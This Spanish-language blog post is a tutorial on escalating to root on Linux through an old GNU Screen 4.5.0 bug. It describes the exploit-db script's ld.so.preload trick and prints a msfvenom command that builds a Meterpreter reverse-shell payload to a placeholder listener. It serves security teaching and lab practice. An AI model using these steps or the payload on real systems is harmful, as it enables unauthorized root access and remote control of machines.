Sunday, 3 March 2019

Got Root! Cómo escalar privilegios en GNU/Linux a través de un viejo bug de Screen

En el post de hoy, quiero dejar un ejemplo práctico de elevación de privilegios en sistemas operativos GNU/Linux que no han sufrido un proceso de Hardening. Para ello me voy a centrar en la aplicación Screen. Esta aplicación, Screen, es un programa que sirve para gestionar ventanas, permitiendo la multiplexación de terminales, como son las shells interactivas, que en su versión 4.5.0 tiene una vulnerabilidad que nos va a permitir desde un usuario sin altos privilegios llegar a ser root.

Figura 1: Got Root! Cómo escalar privilegios en GNU/Linux a través de un viejo bug de Screen

Lo primero, ver el bug en su enlace original, root exploit 4.5.0. Se puede ver que ya tiene un tiempo, es de enero del 2017, y en las versiones posteriores ya no es vulnerable, pero para practicar viene muy bien y ayuda a entender el proceso de lo que significa un Linux Exploiting.

Figura 2: Libros de Linux Exploiting y de Hardening de Servidores GNU/Linux

Para resumir la historia, el bug vemos que se produce a la hora de abrir el registro con privilegios de root, dándonos así la posibilidad de crear un archivo en el que el propietario sea el usuario root. En exploit-db tenemos un script en bash para realizar la explotación, también te puedes descargar la versión vulnerable de la aplicación.

Figura 3: Bug y Exploit de Screen en Exploit-db

Las pruebas se van a realizar dentro de un Kali Linux. Primero se explica el exploit, y posteriormente pasamos a probar el código. La primera parte del script crea dos ficheros, que están escritos en Lenguaje C.

Figura 4: Ficheros .c creados por el exploit

El siguiente paso es compilar estos ficheros y eliminar los ficheros con extensión .c. Los ficheros con extensión .so que se generan son una librería compartida, el equivalente a una DLL (Dynamic Link Library) en sistemas operativos MS Windows.

Figura 5: Tras compilar tiramos los .c y nos quedamos el .so

Para continuar con la ejecución de exploit de prueba, se llevan a cabo los siguientes pasos:
Nos cambiamos al directorio /etc. 
• Se hace una llamada a umask 0, que establece por defecto los permisos de los nuevos archivos creados 0666 para los ficheros y 0777 para directorios. 
• Se crea ld.so.preload, un archivo que cuenta con una lista de librerías (ELF) compartidas y que se van a cargar antes del script que queramos ejecutar. Nos aprovechamos de la siguiente idea: si puedes leer y/o escribir del directorio /etc, tienes permiso root. Este archivo tiene dentro de su lista "/tmp/libhax.so”, que ejecutara el cambio de propietario y permisos. 
• Por último, se ejecuta screen y ejecutamos nuestra shell root.
Se puede ver de manera gráfica en el siguiente dibujo de la Figura 6 el flujo de ejecución cuando se llama a la rootshell.

Figura 6: Flujo de ejecución del exploit

Y ahora, vamos a ver un ejemplo práctico de explotación de esta vulnerabilidad en un entorno afectado por este bug, que vamos a configurar para ello.

PoC I – Probando el exploit para GNU Screen 4.5.0

Una vez tengamos instalada la versión vulnerable de Screen, procedemos a ejecutar el exploit, recuerda cambiarte a un usuario distinto de root, si no, no verás el efecto. Al descargar el código del exploit, necesitaremos darle permisos de ejecución con chmod.

Figura 7: Dándole permisos al exploit desde Kali Linux

Si intentamos ejecutar el archivo, podemos recibir un error como se muestra en la siguiente captura, probablemente falle el formato del fichero, o fue programado en Windows, ejecuta:
tr -d "\r" < 41154 > test
Y vuelves a usar el chmod para dar permisos de ejecución al nuevo fichero.

Figura 8: Nuevo fichero

Ya estamos listos para ejecutar el exploit, y obtener una shell con permisos root, la salida del script la podemos ver en la siguiente captura (los posibles warnings o errores que puedan salir no deberían afectar al exploit).

Figura 9: Salida de la ejecución del exploit con la elevación a root

Vale, hasta aquí hemos obtenido una shell local, ¿podríamos abrir un Meterpreter con altos privilegios en Metasploit? La respuesta es sí, vamos a verlo en acción.

PoC II – Elevación de privilegios abriendo un meterpreter

Tenemos que modificar un poco el código con respecto al que nos proporcionan en exploit-db, sufre cambios el fichero /tmp/rootshell.c y su compilación, se muestra en el siguiente código.

Figura 10: Compilación para Metasploit

Para obtener la shellcode he utilizado msfvenom, ejecutando la siguiente línea en mi Kali Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP-Metasploit-Listener] LPORT=[Port-Metasploit-Listener] -f c
Y por último al ejecutar nuestro código obtenemos un Meterpreter, como se ve en la siguiente captura.

Figura 11: Shell Meterpreter conseguido con el exploit

El resultado se puede apreciar mejor en el siguiente vídeo, que se ha grabado, para que se pueda ver de manera más clara su funcionamiento.


Figura 12: PoC de explotación de bug en Screen

Hasta aquí llega el artículo. Espero que os sirva para seguir investigando y jugando con exploits (recuerda, siempre en entornos controlados). Hasta pronto.

Autor: Josué Encinar García (@JosueEncinar), autor del blog BoomerNiX y Security Researcher en el equipo de Ideas Locas de la unidad CDO de Telefónica.

No comments:

Post a Comment